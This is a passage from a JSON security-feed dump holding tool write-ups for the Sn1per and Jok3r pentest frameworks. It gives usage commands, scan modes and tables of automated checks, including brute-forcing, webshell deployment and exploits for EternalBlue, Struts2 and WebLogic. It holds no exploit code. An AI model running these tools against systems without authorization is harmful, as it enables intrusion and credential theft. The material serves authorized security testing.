FULLPORTONLY SCAN MODE\n sniper -t|--target <TARGET> -fp|--fullportonly\n \n [*] PORT SCAN MODE\n sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>\n \n [*] WEB MODE - PORT 80 + 443 ONLY!\n sniper -t|--target <TARGET> -m|--mode web\n \n [*] HTTP WEB PORT HTTP MODE\n sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>\n \n [*] HTTPS WEB PORT HTTPS MODE\n sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>\n \n [*] WEBSCAN MODE\n sniper -t|--target <TARGET> -m|--mode webscan\n \n [*] ENABLE BRUTEFORCE\n sniper -t|--target <TARGET> -b|--bruteforce\n \n [*] ENABLE LOOT IMPORTING INTO METASPLOIT\n sniper -t|--target <TARGET>\n \n [*] LOOT REIMPORT FUNCTION\n sniper -w <WORKSPACE_ALIAS> --reimport\n \n [*] LOOT REIMPORTALL FUNCTION\n sniper -w <WORKSPACE_ALIAS& gt; --reimportall\n \n [*] DELETE WORKSPACE\n sniper -w <WORKSPACE_ALIAS> -d\n \n [*] DELETE HOST FROM WORKSPACE\n sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh\n \n [*] SCHEDULED SCANS'\n sniper -w <WORKSPACE_ALIAS> -s daily|weekly|monthly'\n \n [*] SCAN STATUS\n sniper --status\n \n [*] UPDATE SNIPER\n sniper -u|--update\n\n \n**MODES:** \n\n\n * **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance.\n * **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking.\n * **FLYOVER:** Fast multi-threaded high level scans of multiple targets (useful for collecting high level data on many hosts quickly).\n * **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.\n * **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.\n * **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.\n * **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.\n * **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML.\n * **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.\n * **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port.\n * **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port.\n * **WEBSCAN:** Launches a full HTTP & HTTPS web application scan against via Burpsuite and Arachni.\n \n**SAMPLE REPORT:** \n<https://gist.github.com/1N3/8214ec2da2c91691bcbc> \n \n \n\n\n**[Download Sn1per](<https://github.com/1N3/Sn1per> \"Download Sn1per\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-05-12T13:09:00", "type": "kitploit", "title": "Sn1per v7.0 - Automated Pentest Framework For Offensive Security Experts", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-3392", "CVE-2009-3843", "CVE-2014-0160", "CVE-2014-6271", "CVE-2015-8249", "CVE-2017-10271", "CVE-2017-12617", "CVE-2017-5638", "CVE-2017-7269", "CVE-2017-9805", "CVE-2018-10561", "CVE-2018-11776", "CVE-2018-7600"], "modified": "2019-05-12T13:09:05", "id": "KITPLOIT:7013881512724945934", "href": "http://www.kitploit.com/2019/05/sn1per-v70-automated-pentest-framework.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T20:51:51", "description": "[](<https://2.bp.blogspot.com/-b-yEHDNsbTk/XEN8U7E8E2I/AAAAAAAAN8A/cGC9Z8NjoSUkGMyEFR9xJYU2XISstK8EgCLcBGAs/s1600/jok3r_1_logo.png>)\n\n \n_Jok3r_ is a Python3 CLI application which is aimed at **helping penetration testers for network infrastructure and web black-box security tests**. \nIts main goal is to **save time on everything that can be automated during network/web pentest in order to enjoy more time on more interesting and challenging stuff**. \nTo achieve that, it **combines open-source Hacking tools to run various security checks against all common network services.** \n** \n** [](<https://draft.blogger.com/null>) \n**Main features** \n**Toolbox management**: \n\n\n * Install automatically all the hacking tools used by _Jok3r_,\n * Keep the toolbox up-to-date,\n * Easily add new tools.\n**Attack automation**: \n\n\n * Target most common network services (including web),\n * Run security checks by chaining hacking tools, following standard process (Reconaissance, Vulnerability scanning, Exploitation, Account bruteforce, (Basic) Post-exploitation).\n * Let _Jok3r_ automatically choose the checks to run according to the context and knowledge about the target,\n**Mission management / Local database**: \n\n\n * Organize targets by missions in local database,\n * Fully manage missions and targets (hosts/services) via interactive shell (like msfconsole db),\n * Access results from security checks.\n_Jok3r_ has been built with the ambition to be easily and quickly customizable: Tools, security checks, supported network services... can be easily added/edited/removed by editing settings files with an easy-to-understand syntax. \n \n[](<https://draft.blogger.com/null>) \n**Installation** \n**The recommended way to use Jok3r is inside a Docker container so you will not have to worry about dependencies issues and installing the various hacking tools of the toolbox.** \n \nA Docker image is available on Docker Hub and automatically re-built at each update: <https://hub.docker.com/r/koutto/jok3r/>. It is initially based on official Kali Linux Docker image (kalilinux/kali-linux-docker). \n \n**Pull Jok3r Docker Image:** \n\n \n \n sudo docker pull koutto/jok3r\n\n**Run fresh Docker container:** \n\n \n \n sudo docker run -i -t --name jok3r-container -w /root/jok3r --net=host koutto/jok3r\n\n**Important: --net=host option is required to share host's interface. It is needed for reverse connections (e.g. Ping to container when testing for RCE, Get a reverse shell)** \nJok3r and its toolbox is ready-to-use ! \n\n\n * To re-run a stopped container:\n \n \n sudo docker start -i jok3r-container\n\n * To open multiple shells inside the container:\n \n \n sudo docker exec -it jok3r-container bash\n\nFor information about building your own Docker image or installing _Jok3r_ on your system without using Docker, refer to <https://jok3r.readthedocs.io/en/latest/installation.html> \n \n[](<https://draft.blogger.com/null>) \n**Quick usage examples** \n**Show all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --show-all\n\n**Install all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --install-all --fast\n\n**Update all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --update-all --fast\n\n**List supported services** \n\n \n \n python3 jok3r.py info --services\n\n**Show security checks for HTTP** \n\n \n \n python3 jok3r.py info --checks http\n\n**Create a new mission in local database** \n\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission -a MayhemProject\n \n [+] Mission \"MayhemProject\" successfully added\n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]>\n\n**Run security checks against an URL and add results to the mission** \n\n \n \n python3 jok3r.py attack -t https://www.example.com/webapp/ --add MayhemProject\n\n**Run security checks against a MSSQL service (without user-interaction) and add results to the mission** \n\n \n \n python3 jok3r.py attack -t 192.168.1.42:1433 -s mssql --add MayhemProject --fast\n\n**Import hosts/services from Nmap results into the mission scope** \n\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission MayhemProject\n \n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]> nmap results.xml\n\n**Run security checks against all services in the given mission and store results in the database** \n\n \n \n python3 jok3r.py attack -m MayhemProject --fast\n\n**Run security checks against only FTP services running on ports 21/tcp and 2121/tcp from the mission** \n\n \n \n python3 jok3r.py attack -m MayhemProject -f \"port=21,2121;service=ftp\" --fast\n\n**Run security checks against only FTP services running on ports 2121/tcp and all HTTP services on 192.168.1.42 from the mission** \n\n \n \n python3 jok3r.py attack -m MayhemProject -f \"port=2121;service=ftp\" -f \"ip=192.168.1.42;service=http\"\n\n[](<https://draft.blogger.com/null>) \n \n**Typical usage example** \nYou begin a pentest with several servers in the scope. Here is a typical example of usage of _JoK3r_: \n\n\n 1. You run _Nmap_ scan on the servers in the scope.\n 2. You create a new mission (let's say \"MayhemProject\") in the local database:\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission -a MayhemProject\n \n [+] Mission \"MayhemProject\" successfully added\n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]>\n\n 3. You import your results from _Nmap_ scan in the database:\n \n \n jok3rdb[MayhemProject]> nmap results.xml\n\n 4. You can then have a quick overview of all services and hosts in the scope, add some comments, add some credentials if you already have some knowledge about the targets (grey box pentest), and so on\n \n \n jok3rdb[MayhemProject]> hosts\n \n [...]\n \n jok3rdb[MayhemProject]> services\n \n [...]\n\n 5. Now, you can run security checks against some targets in the scope. For example, if you want to run checks against all Java-RMI services in the scope, you can run the following command:\n \n \n python3 jok3r.py attack -m MayhemProject -f \"service=java-rmi\" --fast\n\n 6. You can view the results from the security checks either in live when the tools are executed or later from the database using the following command:\n \n \n jok3rdb[MayhemProject]> results\n\n[](<https://draft.blogger.com/null>) \n \n**Full Documentation** \nDocumentation is available at: <https://jok3r.readthedocs.io/> \n \n[](<https://draft.blogger.com/null>) \n**Supported Services & Security Checks ** \n**Lots of checks remain to be implemented and services must be added !! Work in progress ...** \n\n\n * [AJP (default 8009/tcp)](<https://github.com/koutto/jok3r#ajp-default-8009-tcp>)\n * [FTP (default 21/tcp)](<https://github.com/koutto/jok3r#ftp-default-21-tcp>)\n * [HTTP (default 80/tcp)](<https://github.com/koutto/jok3r#http-default-80-tcp>)\n * [Java-RMI (default 1099/tcp)](<https://github.com/koutto/jok3r#java-rmi-default-1099-tcp>)\n * [JDWP (default 9000/tcp)](<https://github.com/koutto/jok3r#jdwp-default-9000-tcp>)\n * [MSSQL (default 1433/tcp)](<https://github.com/koutto/jok3r#mssql-default-1433-tcp>)\n * [MySQL (default 3306/tcp)](<https://github.com/koutto/jok3r#mysql-default-3306-tcp>)\n * [Oracle (default 1521/tcp)](<https://github.com/koutto/jok3r#oracle-default-1521-tcp>)\n * [PostgreSQL (default 5432/tcp)](<https://github.com/koutto/jok3r#postgresql-default-5432-tcp>)\n * [RDP (default 3389/tcp)](<https://github.com/koutto/jok3r#rdp-default-3389-tcp>)\n * [SMB (default 445/tcp)](<https://github.com/koutto/jok3r#smb-default-445-tcp>)\n * [SMTP (default 25/tcp)](<https://github.com/koutto/jok3r#smtp-default-25-tcp>)\n * [SNMP (default 161/udp)](<https://github.com/koutto/jok3r#snmp-default-161-udp>)\n * [SSH (default 22/tcp)](<https://github.com/koutto/jok3r#ssh-default-22-tcp>)\n * [Telnet (default 21/tcp)](<https://github.com/koutto/jok3r#telnet-default-21-tcp>)\n * [VNC (default 5900/tcp)](<https://github.com/koutto/jok3r#vnc-default-5900-tcp>)\n\n \n\n\n[](<https://draft.blogger.com/null>) \n**AJP (default 8009/tcp)** \n\n \n \n +------------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +------------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Recon using Nmap AJP scripts | nmap |\n | tomcat-version | recon | Fingerprint Tomcat version through AJP | ajpy |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | default-creds-tomcat | bruteforce | Check [default credentials](<https://www.kitploit.com/search/label/Default%20Credentials>) for Tomcat Application Manager | ajpy |\n | deploy-webshell-tomcat | exploit | Deploy a webshell on Tomcat through AJP | ajpy |\n +------------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**FTP (default 21/tcp)** \n\n \n \n +------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Recon using Nmap FTP scripts | nmap |\n | nmap-vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | ftpmap-scan | vulnscan | Identify FTP server soft/version and check for known vulns | ftpmap |\n | common-creds | bruteforce | Check common credentials on FTP server | patator |\n | bruteforce-creds | bruteforce | Bruteforce FTP accounts | patator |\n +------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**HTTP (default 80/tcp)** \n\n \n \n +--------------------------------------+-------------+--------------------------------------------------------------------------------------------------+--------------------------------+\n | Name | Category | Description | Tool used |\n +--------------------------------------+-------------+--------------------------------------------------------------------------------------------------+--------------------------------+\n | nmap-recon | recon | Recon using Nmap HTTP scripts | nmap |\n | load-balancing-detection | recon | HTTP load balancer detection | halberd |\n | waf-detection | recon | Identify and fingerprint WAF products protecting website | wafw00f |\n | tls-probing | recon | Identify the implementation in use by SSL/TLS servers (might allow server fingerprinting) | tls-prober |\n | fingerprinting-multi-whatweb | recon | Identify CMS, blogging platforms, JS libraries, Web servers | whatweb |\n | fingerprinting-app-server | recon | Fingerprint application server (JBoss, ColdFusion, Weblogic, Tomcat, Railo, Axis2, Glassfish) | clusterd |\n | fingerprinting-server-domino | recon | Fingerprint IBM/Lotus Domino server | domiowned |\n | fingerprinting-cms-wig | recon | Identify several CMS and other administrative applications | wig |\n | fingerprinting-cms-cmseek | recon | Detect CMS (130+ supported), detect version on Drupal, advanced scan on Wordpress/Joomla | cmseek |\n | fingerprinting-cms-fingerprinter | recon | Fingerprint precisely CMS versions (based on files checksums) | fingerprinter |\n | fingerprinting-cms-cmsexplorer | recon | Find plugins and themes (using bruteforce) installed in a CMS (Wordpress, Drupal, Joomla, Mambo) | cmsexplorer |\n | fingerprinting-drupal | recon | Fingerprint Drupal 7/8: users, nodes, default files, modules, themes enumeration | drupwn |\n | crawling-fast | recon | Crawl website quickly, analyze interesting files/directories | dirhunt |\n | crawling-fast2 | recon | Crawl website and extract URLs, files, intel & endpoints | photon |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | ssl-check | vulnscan | Check for SSL/TLS configuration | testssl |\n | vulnscan-multi-nikto | vulnscan | Check for multiple web vulnerabilities/misconfigurations | nikto |\n | default-creds-web-multi | vulnscan | Check for default credentials on various web interfaces | changeme |\n | webdav-scan-davscan | vulnscan | Scan HTTP WebDAV | davscan |\n | webdav-scan-msf | vulnscan | Scan HTTP WebDAV | metasploit |\n | webdav-internal-ip-disclosure | vulnscan | Check for WebDAV internal IP disclosure | metasploit |\n | webdav-website-content | vulnscan | Detect webservers disclosing its content through WebDAV | metasploit |\n | http-put-check | vulnscan | Detect the support of dangerous HTTP PUT method | metasploit |\n | apache-optionsbleed-check | vulnscan | Test for the Optionsbleed bug in Apache httpd (CVE-2017-9798) | optionsbleed |\n | shellshock-scan | vulnscan | Detect if web server is vulnerable to Shellshock (CVE-2014-6271) | shocker |\n | iis-shortname-scan | vulnscan | Scan for IIS short filename (8.3) disclosure vulnerability | iis-shortname-scanner |\n | iis-internal-ip-disclosure | vulnscan | Check for IIS internal IP disclosure | metasploit |\n | tomcat-user-enum | vulnscan | Enumerate users on Tomcat 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18 | metasploit |\n | jboss-vulnscan-multi | vulnscan | Scan JBoss application server for multiple vulnerabilities | metasploit |\n | jboss-status-infoleak | vulnscan | Queries JBoss status servlet to collect [sensitive information](<https://www.kitploit.com/search/label/Sensitive%20Information>) (JBoss 4.0, 4.2.2 and 4.2.3) | metasploit |\n | jenkins-infoleak | vulnscan | Enumerate a remote Jenkins-CI installation in an unauthenticated manner | metasploit |\n | cms-multi-vulnscan-cmsmap | vulnscan | Check for vulnerabilities in CMS Wordpress, Drupal, Joomla | cmsmap |\n | wordpress-vulscan | vulnscan | Scan for vulnerabilities in CMS Wordpress | wpscan |\n | wordpress-vulscan2 | vulnscan | Scan for vulnerabilities in CMS Wordpress | wpseku |\n | joomla-vulnscan | vulnscan | Scan for vulnerabilities in CMS Joomla | joomscan |\n | joomla-vulnscan2 | vulnscan | Scan for vulnerabilities in CMS Joomla | joomlascan |\n | joomla-vulnscan3 | vulnscan | Scan for vulnerabilities in CMS Joomla | joomlavs |\n | drupal-vulnscan | vulnscan | Scan for vulnerabilities in CMS Drupal | droopescan |\n | magento-vulnscan | vulnscan | Check for misconfigurations in CMS Magento | magescan |\n | silverstripe-vulnscan | vulnscan | Scan for vulnerabilities in CMS Silverstripe | droopescan |\n | vbulletin-vulnscan | vulnscan | Scan for vulnerabilities in CMS vBulletin | vbscan |\n | liferay-vulnscan | vulnscan | Scan for vulnerabilities in CMS Liferay | liferayscan |\n | angularjs-csti-scan | vulnscan | Scan for AngularJS Client-Side Template Injection | angularjs-csti-scanner |\n | jboss-deploy-shell | exploit | Try to deploy shell on JBoss server (jmx|web|admin-console, JMXInvokerServlet) | jexboss |\n | struts2-rce-cve2017-5638 | exploit | Exploit Apache Struts2 Jakarta Multipart parser RCE (CVE-2017-5638) | jexboss |\n | struts2-rce-cve2017-9805 | exploit | Exploit Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805) | struts-pwn-cve2017-9805 |\n | struts2-rce-cve2018-11776 | exploit | Exploit Apache Struts2 [misconfiguration](<https://www.kitploit.com/search/label/Misconfiguration>) RCE (CVE-2018-11776) | struts-pwn-cve2018-11776 |\n | tomcat-rce-cve2017-12617 | exploit | Exploit for Apache Tomcat JSP Upload Bypass RCE (CVE-2017-12617) | exploit-tomcat-cve2017-12617 |\n | jenkins-cliport-deserialize | exploit | Exploit Java deserialization in Jenkins CLI port | jexboss |\n | weblogic-t3-deserialize-cve2015-4852 | exploit | Exploit Java deserialization in Weblogic T3(s) (CVE-2015-4852) | loubia |\n | weblogic-t3-deserialize-cve2017-3248 | exploit | Exploit Java deserialization in Weblogic T3(s) (CVE-2017-3248) | exploit-weblogic-cve2017-3248 |\n | weblogic-t3-deserialize-cve2018-2893 | exploit | Exploit Java deserialization in Weblogic T3(s) (CVE-2018-2893) | exploit-weblogic-cve2018-2893 |\n | weblogic-wls-wsat-cve2017-10271 | exploit | Exploit WLS-WSAT in Weblogic - CVE-2017-10271 | exploit-weblogic-cve2017-10271 |\n | drupal-cve-exploit | exploit | Check and exploit CVEs in CMS Drupal 7/8 (include Drupalgeddon2) (require user interaction) | drupwn |\n | bruteforce-domino | bruteforce | Bruteforce against IBM/Lotus Domino server | domiowned |\n | bruteforce-wordpress | bruteforce | Bruteforce Wordpress accounts | wpseku |\n | bruteforce-joomla | bruteforce | Bruteforce Joomla account | xbruteforcer |\n | bruteforce-drupal | bruteforce | Bruteforce Drupal account | xbruteforcer |\n | bruteforce-opencart | bruteforce | Bruteforce Opencart account | xbruteforcer |\n | bruteforce-magento | bruteforce | Bruteforce Magento account | xbruteforcer |\n | web-path-bruteforce-targeted | bruteforce | Bruteforce web paths when language is known (extensions adapted) (use raft wordlist) | dirsearch |\n | web-path-bruteforce-blind | bruteforce | Bruteforce web paths when language is unknown (use raft wordlist) | wfuzz |\n | web-path-bruteforce-opendoor | bruteforce | Bruteforce web paths using OWASP OpenDoor wordlist | wfuzz |\n | wordpress-shell-upload | postexploit | Upload shell on Wordpress if admin credentials are known | wpforce |\n +--------------------------------------+-------------+--------------------------------------------------------------------------------------------------+--------------------------------+\n\n[](<https://draft.blogger.com/null>) \n**Java-RMI (default 1099/tcp)** \n\n \n \n +--------------------------------+-------------+--------------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +--------------------------------+-------------+--------------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Attempt to dump all objects from Java-RMI service | nmap |\n | rmi-enum | recon | Enumerate RMI services | barmie |\n | jmx-info | recon | Get information about JMX and the MBean server | twiddle |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | jmx-bruteforce | bruteforce | Bruteforce creds to connect to JMX registry | jmxbf |\n | exploit-rmi-default-config | exploit | Exploit default config in RMI Registry to load classes from any remote URL (not working against JMX) | metasploit |\n | exploit-jmx-insecure-config | exploit | Exploit JMX insecure config. Auth disabled: should be vuln. Auth enabled: vuln if weak config | metasploit |\n | jmx-auth-disabled-deploy-class | exploit | Deploy malicious MBean on JMX service with auth disabled (alternative to msf module) | sjet |\n | tomcat-jmxrmi-deserialize | exploit | Exploit Java-RMI deserialize in Tomcat (CVE-2016-8735, CVE-2016-8735), req. JmxRemoteLifecycleListener | jexboss |\n | rmi-deserialize-all-payloads | exploit | Attempt to exploit Java deserialize against Java RMI Registry with all ysoserial payloads | ysoserial |\n | tomcat-jmxrmi-manager-creds | postexploit | Retrieve Manager creds on Tomcat JMX (req. auth disabled or creds known on JMX) | jmxploit |\n +--------------------------------+-------------+--------------------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**JDWP (default 9000/tcp)** \n\n \n \n +------------+----------+-----------------------------------------------------+-----------------+\n | Name | Category | Description | Tool used |\n +------------+----------+-----------------------------------------------------+-----------------+\n | nmap-recon | recon | Recon using Nmap JDWP scripts | nmap |\n | jdwp-rce | exploit | Gain RCE on JDWP service (show OS/Java info as PoC) | jdwp-shellifier |\n +------------+----------+-----------------------------------------------------+-----------------+\n\n[](<https://draft.blogger.com/null>) \n**MSSQL (default 1433/tcp)** \n\n \n \n +-----------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +-----------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | nmap-recon | recon | Recon using Nmap MSSQL scripts | nmap |\n | mssqlinfo | recon | Get technical information about a remote MSSQL server (use TDS protocol and SQL browser Server) | msdat |\n | common-creds | bruteforce | Check common/default credentials on MSSQL server | msdat |\n | bruteforce-sa-account | bruteforce | Bruteforce MSSQL \"sa\" account | msdat |\n | audit-mssql-postauth | postexploit | Check permissive privileges, methods allowing command execution, weak accounts after authenticating on MSSQL | msdat |\n +-----------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**MySQL (default 3306/tcp)** \n\n \n \n +----------------------------------+-------------+-------------------------------------------------------------------------+---------------+\n | Name | Category | Description | Tool used |\n +----------------------------------+-------------+-------------------------------------------------------------------------+---------------+\n | nmap-recon | recon | Recon using Nmap MySQL scripts | nmap |\n | mysql-auth-bypass-cve2012-2122 | exploit | Exploit password bypass vulnerability in MySQL - CVE-2012-2122 | metasploit |\n | default-creds | bruteforce | Check default credentials on MySQL server | patator |\n | mysql-hashdump | postexploit | Retrieve usernames and password hashes from MySQL database (req. creds) | metasploit |\n | mysql-interesting-tables-columns | postexploit | Search for interesting tables and columns in database | jok3r-scripts |\n +----------------------------------+-------------+-------------------------------------------------------------------------+---------------+\n\n[](<https://draft.blogger.com/null>) \n**Oracle (default 1521/tcp)** \n\n \n \n +--------------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +--------------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | tnscmd | recon | Connect to TNS Listener and issue commands Ping, Status, Version | odat |\n | tnspoisoning | vulnscan | Test if TNS Listener is vulnerable to TNS Poisoning (CVE-2012-1675) | odat |\n | common-creds | bruteforce | Check common/default credentials on Oracle server | odat |\n | bruteforce-creds | bruteforce | Bruteforce Oracle accounts (might block some accounts !) | odat |\n | audit-oracle-postauth | postexploit | Check for privesc vectors, config leading to command execution, weak accounts after authenticating on Oracle | odat |\n | search-columns-passwords | postexploit | Search for columns storing passwords in the database | odat |\n +--------------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**PostgreSQL (default 5432/tcp)** \n\n \n \n +---------------+------------+------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +---------------+------------+------------------------------------------------+-----------+\n | default-creds | bruteforce | Check default credentials on PostgreSQL server | patator |\n +---------------+------------+------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**RDP (default 3389/tcp)** \n\n \n \n +----------+----------+-----------------------------------------------------------------------+------------+\n | Name | Category | Description | Tool used |\n +----------+----------+-----------------------------------------------------------------------+------------+\n | ms12-020 | vulnscan | Check for MS12-020 RCE vulnerability (any Windows before 13 Mar 2012) | metasploit |\n +---------+----------+-----------------------------------------------------------------------+------------+\n\n[](<https://draft.blogger.com/null>) \n**SMB (default 445/tcp)** \n\n \n \n +-----------------------------------+-------------+-------------------------------------------------------------------------------+------------+\n | Name | Category | Description | Tool used |\n +-----------------------------------+-------------+-------------------------------------------------------------------------------+------------+\n | nmap-recon | recon | Recon using Nmap SMB scripts | nmap |\n | anonymous-enum-smb | recon | Attempt to perform enum (users, shares...) without account | nullinux |\n | nmap-vulnscan | vulnscan | Check for vulns in SMB (MS17-010, MS10-061, MS10-054, MS08-067...) using Nmap | nmap |\n | detect-ms17-010 | vulnscan | Detect MS17-010 SMB RCE | metasploit |\n | samba-rce-cve2015-0240 | vulnscan | Detect RCE vuln (CVE-2015-0240) in Samba 3.5.x and 3.6.X | metasploit |\n | exploit-rce-ms08-067 | exploit | Exploit for RCE vuln MS08-067 on SMB | metasploit |\n | exploit-rce-ms17-010-eternalblue | exploit | Exploit for RCE vuln MS17-010 EternalBlue on SMB | metasploit |\n | exploit-sambacry-rce-cve2017-7494 | exploit | Exploit for SambaCry RCE on Samba <= 4.5.9 (CVE-2017-7494) | metasploit |\n | auth-enum-smb | postexploit | Authenticated enumeration (users, groups, shares) on SMB | nullinux |\n | auth-shares-perm | postexploit | Get R/W permissions on SMB shares | smbmap |\n | smb-exec | postexploit | Attempt to get a remote shell (psexec-like, requires Administrator creds) | impacket |\n +-----------------------------------+-------------+-------------------------------------------------------------------------------+------------+\n\n[](<https://draft.blogger.com/null>) \n**SMTP (default 25/tcp)** \n\n \n \n +----------------+----------+--------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +----------------+----------+--------------------------------------------------------------------------------------------+----------------+\n | smtp-cve | vulnscan | Scan for vulnerabilities (CVE-2010-4344, CVE-2011-1720, CVE-2011-1764, open-relay) on SMTP | nmap |\n | smtp-user-enum | vulnscan | Attempt to perform user enumeration via SMTP commands EXPN, VRFY and RCPT TO | smtp-user-enum |\n +----------------+----------+--------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**SNMP (default 161/udp)** \n\n \n \n +--------------------------+-------------+---------------------------------------------------------------------+------------+\n | Name | Category | Description | Tool used |\n +--------------------------+-------------+---------------------------------------------------------------------+------------+\n | common-community-strings | bruteforce | Check common community strings on SNMP server | metasploit |\n | snmpv3-bruteforce-creds | bruteforce | Bruteforce SNMPv3 credentials | snmpwn |\n | enumerate-info | postexploit | Enumerate information provided by SNMP (and check for write access) | snmp-check |\n +--------------------------+-------------+---------------------------------------------------------------------+------------+\n\n[](<https://draft.blogger.com/null>) \n**SSH (default 22/tcp)** \n\n \n \n +--------------------------------+------------+--------------------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +--------------------------------+------------+--------------------------------------------------------------------------------------------+-----------+\n | vulns-algos-scan | vulnscan | Scan supported algorithms and security info on SSH server | ssh-audit |\n | user-enumeration-timing-attack | exploit | Try to perform OpenSSH (versions <= 7.2 and >= 5.*) user enumeration timing attack OpenSSH | osueta |\n | default-ssh-key | bruteforce | Try to authenticate on SSH server using known SSH keys | changeme |\n | default-creds | bruteforce | Check default credentials on SSH | patator |\n +--------------------------------+------------+--------------------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**Telnet (default 21/tcp)** \n\n \n \n +-------------------------+------------+----------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +-------------------------+------------+----------------------------------------------------------------------------------+-----------+\n | nmap-recon | recon | Recon using Nmap Telnet scripts | nmap |\n | default-creds | bruteforce | Check default credentials on Telnet (dictionary from https://cirt.net/passwords) | patator |\n | bruteforce-root-account | bruteforce | Bruteforce \"root\" account on Telnet | patator |\n +-------------------------+------------+----------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**VNC (default 5900/tcp)** \n\n \n \n +-----------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +-----------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Recon using Nmap VNC scripts | nmap |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | bruteforce-pass | bruteforce | Bruteforce VNC password | patator |\n +-----------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n\n \n \n\n\n**[Download Jok3R](<https://github.com/koutto/jok3r>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": 